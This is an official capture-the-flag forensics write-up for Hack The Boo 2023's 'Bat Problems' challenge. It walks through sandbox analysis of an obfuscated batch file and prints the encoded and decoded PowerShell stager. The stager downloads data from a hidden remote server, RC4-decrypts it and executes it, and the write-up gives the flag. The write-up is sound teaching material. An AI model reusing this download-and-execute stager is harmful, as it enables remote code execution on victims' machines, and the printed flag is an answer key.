Bat Problems

Challenge

• CTF: Hack The Boo 2023 - Practice Official Writeup
• Name: Bat Problems
• Category: Forensics
• Difficulty: Very Easy
• Points: 325
• Description: On a chilly Halloween night, the town of Hollowville was shrouded in a veil of mystery. The infamous “Haunted Hollow House”, known for its supernatural tales, concealed a cryptic document. Whispers in the town suggested that the one who could solve its riddle would reveal a beacon of hope. As an investigator, your mission is to decipher the script’s enigmatic sorcery, break the curse, and unveil the flag to become Hollowville’s savior.
• Objective: Obfuscated .bat Malware

Files

Download: forensics_bat_problems.zip

Writeup

The challenge contains a single file called payload.bat that contained obfuscated windows command prompt commands. Lets analyze this with virustotal and run it dynamically analyze the payload.

Using VirusTotal, we can see 18 out of the 59 vendors detect this properly as malware as shown below:

Using app.any.run, we can run the payload.bat file in a sandbox environment and detect heuristic capabilities of the malware:

Analyzing the results, we see there is a suspicious process created with the command-line arguments listed below:

C:\Users\admin\AppData\Local\Temp\Earttxmxaqr.png -win 1 -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABjAEEATABnAEEAMwBBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBPAEEAQQB1AEEARABVAEEATQBnAEEANgBBAEQAZwBBAE0AQQBBADQAQQBEAE0AQQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAGsAJQBOAH4ALQB7ACEAUQBVADEASABxAGYAZABvAH0ARgBaAFkAaQA3ACMAQwBQADUAQgBFAD0AegAuADkAbAAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQAZgBsAGEAZwA9ACcASABUAEIAewAwAGIAZgB1AHMAYwA0AHQAMwBkAF8AYgA0AHQAXwBmADEAbAAzAHMAXwBjADQAbgBfAGIAMwBfADQAXwBtADMAcwBzAH0AJwA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAawBwAFAAeQBkAHIAegA9AEMAeABwAEsAcgBaAGMAdgBKADMAcQB3AFYAYQA1AEEAMwBrAFcAZwBGADcAUQB1AGoAMABzAD0AIgApADsAJABkAGEAdABhAD0AJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAcwBlAHIAKwAkAHQAKQA7ACQAaQB2AD0AJABkAGEAdABhAFsAMAAuAC4AMwBdADsAJABkAGEAdABhAD0AJABkAGEAdABhAFsANAAuAC4AJABkAGEAdABhAC4AbABlAG4AZwB0AGgAXQA7AC0AagBvAGkAbgBbAEMAaABhAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABhACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=

We can now base64 decode the payload to identify the $flag variable that contains the flag!

If($PSVersionTable.PSVersion.Major -ge 3){};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADMA')));$t='/login/process.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('k%N~-{!QU1Hqfdo}FZYi7#CP5BE=z.9l');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$flag='HTB{0bfusc4t3d_b4t_f1l3s_c4n_b3_4_m3ss}';$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","kpPydrz=CxpKrZcvJ3qwVa5A3kWgF7Quj0s=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX

Flag: HTB{0bfusc4t3d_b4t_f1l3s_c4n_b3_4_m3ss}